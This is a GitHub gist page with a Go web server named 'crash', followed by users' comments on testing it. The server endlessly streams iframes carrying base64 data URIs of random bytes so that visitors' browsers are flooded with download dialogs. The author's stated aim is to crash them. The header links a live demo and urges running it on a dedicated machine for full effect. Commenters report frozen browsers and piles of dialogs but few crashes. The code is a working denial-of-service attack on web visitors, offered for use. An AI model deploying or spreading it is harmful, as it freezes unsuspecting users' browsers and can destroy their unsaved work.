Skip to content

Instantly share code, notes, and snippets.

@wybiral
Last active February 22, 2018 16:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save wybiral/33caed8738bbc21bb0850f300cc19b5c to your computer and use it in GitHub Desktop.
Save wybiral/33caed8738bbc21bb0850f300cc19b5c to your computer and use it in GitHub Desktop.
crash
// The basic strategy is to send an endless number of iframes with data URIs
// This causes a flood of download modals that crashes most desktop clients
//
// Currently running demo at: https://fan-pages.herokuapp.com
//
// NOTE: This server has received more traffic than expected so sometimes it
// doesn't serve the HTML fast enough. For the full effect run this Go server
// on a dedicated machine somewhere.
//
// PS: Save your work before you open it ;)
package main
import (
"encoding/base64"
"math/rand"
"net/http"
"os"
)
func main() {
http.HandleFunc("/", flood)
port := os.Getenv("PORT")
addr := ":" + port
http.ListenAndServe(addr, nil)
}
func flood(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html; charset=utf-8")
flusher, ok := w.(http.Flusher)
if !ok {
return
}
data := make([]byte, 16)
head := []byte("<iframe src=\"data:application/octet-stream;base64,")
foot := []byte("\"></iframe>")
for {
for i := 0; i < 100; i++ {
_, err := w.Write(head)
if err != nil {
return
}
rand.Read(data)
encoder := base64.NewEncoder(base64.StdEncoding, w)
_, err = encoder.Write(data)
if err != nil {
return
}
encoder.Close()
_, err = w.Write(foot)
if err != nil {
return
}
}
flusher.Flush()
}
}
@avoidwork
Copy link

my cpu went to 25% with chrome on an i7-7700k; no crash

@wybiral
Copy link
Author

wybiral commented Feb 21, 2018

@avoidwork try it with Firefox

@jameibumblebee
Copy link

jameibumblebee commented Feb 21, 2018

Okay, tried with Firefox (Aurora 59x) and does not crash. Maybe 50+ download dialogs popup, then it stops; I close them and scroll a bit and the same happens. No crash.

@wybiral
Copy link
Author

wybiral commented Feb 21, 2018

@emayljames on desktop? What OS?

@jameibumblebee
Copy link

@wybiral Windows 7 Home 64bit

@jeffgca
Copy link

jeffgca commented Feb 22, 2018

Does not crash Firefox Nightly 60. 👍

@wybiral
Copy link
Author

wybiral commented Feb 22, 2018

@canuckistani what happens on Nightly?

Also, be aware that under some conditions it may fail just because it's running from a tiny free Heroku instance and it relies on being able to flood the browser. For best results run it on something more robust or run the Go server from a dedicated machine.

@1byte2bytes
Copy link

It opened a ton of download dialog boxes but didn't particularly crash. There is a whole lot of 'em.

Firefox 58.0.2 (64-bit), macOS 10.12.6. It did make my browser very unresponsive, but I was able to close the tab without any tricks. Just hitting the X button on the tab a few times to get it to register.

@Radagast
Copy link

I too had a load of download dialogues but no crash. I use Nightly.

@xenithorb
Copy link

Firefox 58, Linux. I got tired of waiting for it to crash so I just kill'd it to get rid of all the dialog boxes.

@troysjanda
Copy link

On Firefox 58.0.2 (64-bit), Windows 10 1709 (x64), Did not crash my browser, it became non responsive for a time 3 minutes or so but the download dialogs stopped and returned to normal once I mass closed all the download windows.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment